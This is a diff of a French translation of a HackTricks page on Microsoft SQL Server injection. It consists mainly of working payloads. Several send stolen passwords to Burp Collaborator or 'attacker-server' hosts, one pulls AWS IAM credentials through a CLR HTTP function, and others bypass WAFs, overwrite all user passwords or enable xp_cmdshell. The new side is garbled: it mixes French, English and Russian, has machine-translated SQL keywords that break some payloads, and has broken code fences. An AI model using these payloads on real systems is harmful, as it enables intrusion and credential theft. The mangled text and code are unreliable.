||||||
Voici quelques exemples de telles fonctions :
|
Quelques exemples de telles fonctions :
|
||||||
|
|
||||||
* `SUSER_NAME()`
|
* `SUSER_NAME()`
|
||||||
* `USER_NAME()`
|
* `USER_NAME()`
|
||||||
|
@ -47,15 +47,19 @@ Exemple d'utilisation de la fonction `USER_NAME()`:
|
||||||
```
|
```
|
||||||
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
|
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
|
||||||
```
|
```
|
||||||
|
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
|
||||||
|
|
||||||
## SSRF
|
## SSRF
|
||||||
|
|
||||||
|
Ces astuces SSRF ont été prises [ici](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||||
|
|
||||||
### `fn_xe_file_target_read_file`
|
### `fn_xe_file_target_read_file`
|
||||||
|
|
||||||
|
Il nécessite l'autorisation **`VIEW SERVER STATE`** sur le serveur.
|
||||||
```
|
```
|
||||||
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
|
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
|
||||||
```
|
```
|
||||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/3.png)
|
|
||||||
|
|
||||||
**Permissions :** Nécessite la permission **`VIEW SERVER STATE`** sur le serveur.
|
|
||||||
```sql
|
```sql
|
||||||
# Check if you have it
|
# Check if you have it
|
||||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
||||||
|
@ -64,12 +68,12 @@ Use master;
|
||||||
EXEC sp_helprotect 'fn_xe_file_target_read_file';
|
EXEC sp_helprotect 'fn_xe_file_target_read_file';
|
||||||
```
|
```
|
||||||
### `fn_get_audit_file`
|
### `fn_get_audit_file`
|
||||||
|
|
||||||
|
Il nécessite l'autorisation **`CONTROL SERVER`**.
|
||||||
```
|
```
|
||||||
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
|
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
|
||||||
```
|
```
|
||||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/2.png)
|
|
||||||
|
|
||||||
**Permissions :** Nécessite la permission **`CONTROL SERVER`**.
|
|
||||||
```sql
|
```sql
|
||||||
# Check if you have it
|
# Check if you have it
|
||||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
||||||
|
@ -77,13 +81,13 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL S
|
||||||
Use master;
|
Use master;
|
||||||
EXEC sp_helprotect 'fn_get_audit_file';
|
EXEC sp_helprotect 'fn_get_audit_file';
|
||||||
```
|
```
|
||||||
### `fn_trace_gettable`
|
### `fn_trace_gettabe`
|
||||||
|
|
||||||
|
Il nécessite l'autorisation **`CONTROL SERVER`**.
|
||||||
```
|
```
|
||||||
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
|
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
|
||||||
```
|
```
|
||||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/1.png)
|
|
||||||
|
|
||||||
**Permissions :** Nécessite la permission **`CONTROL SERVER`**.
|
|
||||||
```sql
|
```sql
|
||||||
# Check if you have it
|
# Check if you have it
|
||||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
||||||
|
@ -93,35 +97,34 @@ EXEC sp_helprotect 'fn_trace_gettabe';
|
||||||
```
|
```
|
||||||
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
||||||
|
|
||||||
La méthode la plus courante pour effectuer un appel réseau que vous rencontrerez en utilisant MSSQL est l'utilisation de la Procédure Stockée `xp_dirtree`, qui est curieusement non documentée par Microsoft, ce qui a conduit à ce qu'elle soit [documentée par d'autres personnes sur Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Cette méthode a été utilisée dans [plusieurs exemples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de billets sur l'[exfiltration de données hors bande](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) sur Internet.
|
Les procédures stockées telles que `xp_dirtree`, bien qu'elles ne soient pas officiellement documentées par Microsoft, ont été décrites par d'autres en ligne en raison de leur utilité dans les opérations réseau au sein de MSSQL. Ces procédures sont souvent utilisées dans l'exfiltration de données hors bande, comme le montrent divers [exemples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) et [articles](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
|
||||||
|
|
||||||
Essentiellement,
|
La procédure stockée `xp_dirtree`, par exemple, est utilisée pour effectuer des requêtes réseau, mais elle est limitée au seul port TCP 445. Le numéro de port n'est pas modifiable, mais elle permet de lire à partir de partages réseau. L'utilisation est démontrée dans le script SQL ci-dessous:
|
||||||
```sql
|
```sql
|
||||||
DECLARE @user varchar(100);
|
DECLARE @user varchar(100);
|
||||||
SELECT @user = (SELECT user);
|
SELECT @user = (SELECT user);
|
||||||
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
|
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
|
||||||
```
|
```
|
||||||
Comme la fonction `LOAD_FILE` de MySQL, vous pouvez utiliser `xp_dirtree` pour effectuer une requête réseau **uniquement sur le port TCP 445**. Vous ne pouvez pas contrôler le numéro de port, mais pouvez lire des informations depuis des partages réseau.
|
Il est à noter que cette méthode pourrait ne pas fonctionner sur toutes les configurations système, telles que sur `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` s'exécutant sur un `Windows Server 2016 Datacenter` avec les paramètres par défaut.
|
||||||
|
|
||||||
**PS :** Cela ne fonctionne pas sur `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` installé sur un `Windows Server 2016 Datacenter` dans la configuration par défaut.
|
De plus, il existe des procédures stockées alternatives telles que `master..xp_fileexist` et `xp_subdirs` qui peuvent atteindre des résultats similaires. Des détails supplémentaires sur `xp_fileexist` peuvent être trouvés dans cet [article TechNet](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
|
||||||
|
|
||||||
Il existe **d'autres** procédures stockées *** [**comme `master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) ou **`xp_subdirs`** qui peuvent être utilisées pour des résultats similaires.
|
|
||||||
|
|
||||||
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
|
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
|
||||||
|
|
||||||
Évidemment, vous pourriez également utiliser **`xp_cmdshell`** pour **exécuter** quelque chose qui déclenche un **SSRF**. Pour plus d'informations, **lisez la section pertinente** de la page :
|
De toute évidence, vous pourriez également utiliser **`xp_cmdshell`** pour **exécuter** quelque chose qui déclenche un **SSRF**. Pour plus d'informations, **consultez la section pertinente** sur la page :
|
||||||
|
|
||||||
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
|
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
|
||||||
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### MSSQL Fonction Définie par l'Utilisateur - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
### Fonction utilisateur MSSQL définie - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||||
|
|
||||||
Il est assez simple d'écrire une **CLR UDF** (Fonction Définie par l'Utilisateur en Common Language Runtime - code écrit avec l'un des langages **.NET** et compilé en **DLL**) et de **la charger dans MSSQL pour des fonctions personnalisées**. Cela nécessite cependant un accès `dbo`, donc cela peut ne pas fonctionner à moins que l'application web ne se connecte à la base de données **en tant que `sa` ou avec un rôle d'Administrateur**.
|
La création d'une UDF CLR (User Defined Function Common Language Runtime), qui est un code rédigé dans n'importe quel langage .NET et compilé dans une DLL, à charger dans MSSQL pour exécuter des fonctions personnalisées, est un processus qui nécessite un accès `dbo`. Cela signifie que cela est généralement réalisable uniquement lorsque la connexion à la base de données est effectuée en tant que `sa` ou avec un rôle d'administrateur.
|
||||||
|
|
||||||
[Ce dépôt Github contient le projet Visual Studio et les instructions d'installation](https://github.com/infiniteloopltd/SQLHttp) pour charger le binaire dans MSSQL en tant qu'assemblage CLR, puis invoquer des requêtes HTTP GET depuis MSSQL.
|
Un projet Visual Studio et des instructions d'installation sont fournis dans [ce dépôt Github](https://github.com/infiniteloopltd/SQLHttp) pour faciliter le chargement du binaire dans MSSQL en tant qu'assembly CLR, permettant ainsi l'exécution de requêtes HTTP GET depuis MSSQL.
|
||||||
|
|
||||||
Le code `http.cs` utilise la classe `WebClient` pour effectuer une requête GET et récupérer le contenu comme spécifié
|
Le cœur de cette fonctionnalité est encapsulé dans le fichier `http.cs`, qui utilise la classe `WebClient` pour exécuter une requête GET et récupérer le contenu comme illustré ci-dessous:
|
||||||
```csharp
|
```csharp
|
||||||
using System.Data.SqlTypes;
|
using System.Data.SqlTypes;
|
||||||
using System.Net;
|
using System.Net;
|
||||||
|
@ -133,127 +136,163 @@ public static SqlString http(SqlString url)
|
||||||
{
|
{
|
||||||
var wc = new WebClient();
|
var wc = new WebClient();
|
||||||
var html = wc.DownloadString(url.Value);
|
var html = wc.DownloadString(url.Value);
|
||||||
return new SqlString (html);
|
return new SqlString(html);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Dans les instructions d'installation, exécutez ce qui suit avant la requête `CREATE ASSEMBLY` pour ajouter le hachage SHA512 de l'assemblée à la liste des assemblées de confiance sur le serveur (vous pouvez voir la liste en utilisant `select * from sys.trusted_assemblies;`)
|
Avant d'exécuter la commande SQL `CREATE ASSEMBLY`, il est conseillé d'exécuter le snippet SQL suivant pour ajouter le hash SHA512 de l'assembly à la liste des assemblies de confiance du serveur (visible via `select * from sys.trusted_assemblies;`):
|
||||||
```sql
|
```sql
|
||||||
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
||||||
```
|
```
|
||||||
Une fois l'assemblage ajouté et la fonction créée, nous pouvons exécuter ce qui suit pour effectuer nos requêtes HTTP
|
Après avoir ajouté avec succès l'assembly et créé la fonction, le code SQL suivant peut être utilisé pour effectuer des requêtes HTTP :
|
||||||
```sql
|
```sql
|
||||||
DECLARE @url varchar(max);
|
DECLARE @url varchar(max);
|
||||||
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
||||||
SELECT dbo.http(@url);
|
SELECT dbo.http(@url);
|
||||||
```
|
```
|
||||||
## **Exploitation rapide : Extraire une table entière en une seule requête**
|
### **Exploitation Rapide: Récupération du Contenu Complet de la Table en une Seule Requête**
|
||||||
|
|
||||||
Il existe deux méthodes simples pour extraire le contenu complet d'une table en une seule requête — l'utilisation de la clause FOR XML ou de la clause FOR JSON. La clause FOR XML nécessite un mode spécifié tel que « raw », donc en termes de concision, FOR JSON est plus performant.
|
[Astuce d'ici](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
||||||
|
|
||||||
La requête pour extraire le schéma, les tables et les colonnes de la base de données actuelle :
|
Une méthode concise pour extraire le contenu complet d'une table en une seule requête consiste à utiliser la clause `FOR JSON`. Cette approche est plus succincte que l'utilisation de la clause `FOR XML`, qui nécessite un mode spécifique comme "raw". La clause `FOR JSON` est préférée pour sa concision.
|
||||||
```
|
|
||||||
|
Voici comment récupérer le schéma, les tables et les colonnes de la base de données actuelle:
|
||||||
|
```sql
|
||||||
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
|
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
|
||||||
```
|
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
|
||||||
```markdown
|
|
||||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
|
|
||||||
|
|
||||||
Les vecteurs basés sur les erreurs nécessitent un alias ou un nom, car la sortie des expressions sans l'un ou l'autre ne peut pas être formatée en JSON.
|
```sql
|
||||||
|
https://vuln.app/getItem?id=1'+et+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
|
||||||
```
|
```
|
||||||
```
|
|
||||||
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png)
|
|
||||||
|
|
||||||
## **Récupération de la requête actuelle**
|
### Retrieving the Current Query
|
||||||
|
|
||||||
La requête SQL actuellement exécutée peut être récupérée en accédant à `sys.dm_exec_requests` et `sys.dm_exec_sql_text` :
|
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
||||||
```
|
|
||||||
```
|
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
```sql
|
||||||
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
|
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
|
||||||
```
|
```
|
||||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/9.png)
|
|
||||||
|
|
||||||
**Permissions :** Si l'utilisateur dispose de la permission VIEW SERVER STATE sur le serveur, il verra toutes les sessions en cours d'exécution sur l'instance de SQL Server ; sinon, l'utilisateur ne verra que la session actuelle.
|
|
||||||
```sql
|
```sql
|
||||||
# Check if you have it
|
https://vuln.app/getItem?id=-1%20union%20select%20null,(sélectionner+texte+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|
To check if you have the VIEW SERVER STATE permission, the following query can be used:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
```sql
|
||||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
||||||
```
|
```
|
||||||
## **Petites astuces pour contourner les WAF**
|
```
|
||||||
|
|
||||||
Caractères d'espacement non standard : %C2%85 ou %C2%A0 :
|
## **Little tricks for WAF bypasses**
|
||||||
```
|
|
||||||
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
|
[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||||
```
|
|
||||||
Notation scientifique (0e) et hexadécimale (0x) pour l'obfuscation de UNION :
|
Non-standard whitespace characters: %C2%85 или %C2%A0:
|
||||||
```
|
|
||||||
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
|
|
||||||
|
|
||||||
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
|
|
||||||
```
|
```
|
||||||
Un point au lieu d'un espace blanc entre FROM et le nom d'une colonne :
|
```plaintext
|
||||||
|
L'URL ci-dessus est un exemple d'injection SQL MSSQL. Il tente d'extraire des informations de la base de données en utilisant une requête d'union avec la fonction @@version pour récupérer la version du serveur MSSQL.
|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|
Scientific (0e) and hex (0x) notation for obfuscating UNION:
|
||||||
|
|
||||||
|
```
|
||||||
|
- Utilisation de l'injection SQL MSSQL basée sur l'opérateur UNION:
|
||||||
|
- https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
|
||||||
|
- https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
|
||||||
|
```
|
||||||
|
|
||||||
|
A period instead of a whitespace between FROM and a column name:
|
||||||
|
|
||||||
```
|
```
|
||||||
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
|
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
|
||||||
```
|
```
|
||||||
Séparateur \N entre SELECT et une colonne sans importance :
|
|
||||||
|
\N separator between SELECT and a throwaway column:
|
||||||
|
|
||||||
```
|
```
|
||||||
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
|
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
|
||||||
```
|
```
|
||||||
### Contournement de WAF avec des requêtes empilées non orthodoxes
|
|
||||||
|
|
||||||
Selon [**ce billet de blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/), il est possible d'empiler des requêtes dans MSSQL sans utiliser ";":
|
### WAF Bypass with unorthodox stacked queries
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
|
||||||
|
|
||||||
Donc, par exemple, plusieurs requêtes telles que :
|
|
||||||
```sql
|
```sql
|
||||||
use [tempdb]
|
```plaintext
|
||||||
create table [test] ([id] int)
|
SÉLECTIONNER 'a' SÉLECTIONNER 'b'
|
||||||
insert [test] values(1)
|
|
||||||
select [id] from [test]
|
|
||||||
drop table[test]
|
|
||||||
```
|
```
|
||||||
Peut être réduit à :
|
```
|
||||||
|
|
||||||
|
So for example, multiple queries such as:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
```sql
|
||||||
|
USE [tempdb]
|
||||||
|
CREATE TABLE [test] ([id] int)
|
||||||
|
INSERT INTO [test] VALUES(1)
|
||||||
|
SELECT [id] FROM [test]
|
||||||
|
DROP TABLE [test]
|
||||||
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|
Can be reduced to:
|
||||||
|
|
||||||
|
```sql
|
||||||
```sql
|
```sql
|
||||||
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
||||||
```
|
```
|
||||||
Par conséquent, il pourrait être possible de contourner différents WAFs qui ne prennent pas en compte cette forme d'empilement de requêtes. Par exemple :
|
|
||||||
|
```sql
|
||||||
|
utiliser[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
||||||
```
|
```
|
||||||
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
|
```
|
||||||
|
|
||||||
|
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
|
||||||
|
|
||||||
|
```
|
||||||
|
# Ajout d'un exec() inutile à la fin et faire croire au WAF que ce n'est pas une requête valide
|
||||||
admina'union select 1,'admin','testtest123'exec('select 1')--
|
admina'union select 1,'admin','testtest123'exec('select 1')--
|
||||||
## This will be:
|
## Cela deviendra :
|
||||||
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
|
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
|
||||||
exec('select 1')--'
|
exec('select 1')--'
|
||||||
|
|
||||||
# Using weirdly built queries
|
# Utilisation de requêtes étrangement construites
|
||||||
admin'exec('update[users]set[password]=''a''')--
|
admin'exec('update[users]set[password]=''a''')--
|
||||||
## This will be:
|
## Cela deviendra :
|
||||||
SELECT id, username, password FROM users WHERE username = 'admin'
|
SELECT id, username, password FROM users WHERE username = 'admin'
|
||||||
exec('update[users]set[password]=''a''')--'
|
exec('update[users]set[password]=''a''')--'
|
||||||
|
|
||||||
# Or enabling xp_cmdshell
|
# Ou en activant xp_cmdshell
|
||||||
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
||||||
## This will be
|
## Cela deviendra :
|
||||||
select * from users where username = ' admin'
|
select * from users where username = ' admin'
|
||||||
exec('sp_configure''show advanced option'',''1''reconfigure')
|
exec('sp_configure''show advanced option'',''1''reconfigure')
|
||||||
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
||||||
```
|
```
|
||||||
## Références
|
|
||||||
|
## References
|
||||||
|
|
||||||
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||||
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
|
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Other ways to support HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,19 +2,19 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le **groupe Telegram** ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
